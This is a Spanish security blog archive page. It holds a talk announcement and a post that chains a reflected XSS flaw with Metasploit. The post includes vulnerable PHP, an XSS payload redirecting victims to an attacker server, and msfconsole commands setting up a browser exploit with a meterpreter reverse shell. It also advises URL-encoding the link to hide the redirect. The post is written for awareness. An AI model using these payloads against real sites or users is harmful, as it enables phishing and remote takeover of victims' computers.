Tag Archives: Seguridad Web

Mkit Argentina en Hack X Colombia


 

Como les comenté unas semanas atrás, hace unos momentos concluyó mi charla en el evento comunitario Hack X Colombia, a desarrollarse en las ciudades de Bogotá y Medellín.

En esta charla, hablé sobre los típicos ataques de seguridad Web, incluyendo tanto Inyección SQL como Cross-Site Scripting (XSS). Lamentablemente, por temas de tiempo no he podido terminar la charla, por lo que sólo pude hablar del primer tema.

Sin embargo, la charla se pudo desarrollar perfectamente y la gente me recibió de maravilla.

Quisiera agradecer a la organización del evento por permitirme participar, y a todos los asistentes por quedarse durante mi charla.

Para los que deseen ver la grabación de la charla, este es el link:

https://mkit.webex.com/mkit/ldr.php?AT=pb&SP=MC&rID=96630287&rKey=e0643df9e3428292

Deberán instalar el cliente de WebEx, en el siguiente link: http://www.webex.com/play-webex-recording.html

Aquí está la presentación en PDF de la charla:  Hack_X_Colombia_-_Seguridad_Web

Nos vemos la próxima!

Fuente: Blog de Matias Katz

Combinando ataques: XSS + Metasploit

En esta oportunidad voy a demostrar y comprobar que tan grave puede ser una vulnerabilidad de tipo Cross Site Scripting No Persistente (XSS).

Para entrar en tema vamos a hacer un breve repaso por las cuestiones técnicas de dicho fallo de diseño:

XSS es una vulnerabilidad Web que surge del incorrecto saneamiento de parámetros de entrada, mediante el cual puede inyectarse código de script en el cliente.

Ejemplo de código php vulnerable:

<?
echo $_GET['id'];
?>

De esta forma podríamos aprovecharnos haciendo una molificación en los parámetros de la siguiente forma:

www.sitio.com/script_vulnerable.php?id=1<script>alert(“Pwned!”)</script>

 

En código PHP, podríamos evitar estos dolores de cabeza haciendo un correcto saneamiento con las funciones “urlencode”, “htmlentities” y “addslashes”.

El objetivo de este articulo NO es hacer un tutorial explicativo sobre el fallo, sino ampliar las fronteras del alcance e impacto para que se tenga en consideración la gravedad de los hechos.

Si bien es cierto que seria demasiado conseguir las cookies de la víctima, porque no explorar mas allá de lo ya bien conocido y combinamos técnicas para lograr acceso a su equipo en vez de quedarnos con su información ?!

Podríamos utilizar la URL como vector de ataque y contaríamos con la ventaja de que el dominio ya cuenta con su reputación propia, por lo cual, nadie desconfiaría a la hora de darle “Click”. Dentro del URIPATH podríamos agregar un <script> para hacer una redireccion a nuestro sitio malicioso.

http://www.DominioDeConfianza.com/noticia.php?id=1<script>document.location=”http://www.SitioMalicioso.com”</script>

Comenzamos cargando en metasploit un  ClientSide, en este caso:

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

set payload windows/meterpreter/reverse_tcp

y proporcionamos los datos de configuración necesarios.

Una vez preparado el servidor atacante, se prepara el URI para enviar a la víctima. Se puede hacer una codificación del URIPATH para evitar una lectura sencilla que advierta la redireccion, para esto se puede utilizar un URLENCODER.

http://www.DominioDeConfianza.com/ScriptVulnerable.php?id=1<script>document.location=”http://www.ServidorAtacante.com”</script>

El link puede ser enviado por cualquier medio: mail, msn, redes sociales, etc. En este caso agregamos un “Alert” para mostrar la redirección en proceso:

Entre tanto, del lado del servidor pasa lo siguiente:

Y como vemos en el screenshot se ha creado una nueva sesión de meterpreter, lo cual significa que conseguimos Acceso y control total del equipo víctima utilizando como vector de ataque un simple XSS No persistente.

Del lado de la víctima en este caso estaría viendo lo siguiente:

Para finalizar vamos a crear un directorio en el escritorio de la víctima desde la consola de meterpreter con un clásico PWNED:

Y de esta forma queda demostrada la GRAVEDAD de un simple XSS no persistente. Quizas no es tan grave para la integridad del sitio vulnerable, pero si lo es para los clientes/usuarios que visitan la pagina en cuestión. La credibilidad de una empresa puede decaer considerablemente si se llegase a utilizar su dominio como medio de infección.

En consideración: No es el objetivo enseñar cómo usar las técnicas expuestas, sino concientizar e informar para así poder prevenir cualquier tipo de ataque informático.

Gustavo Nicolas Ogawa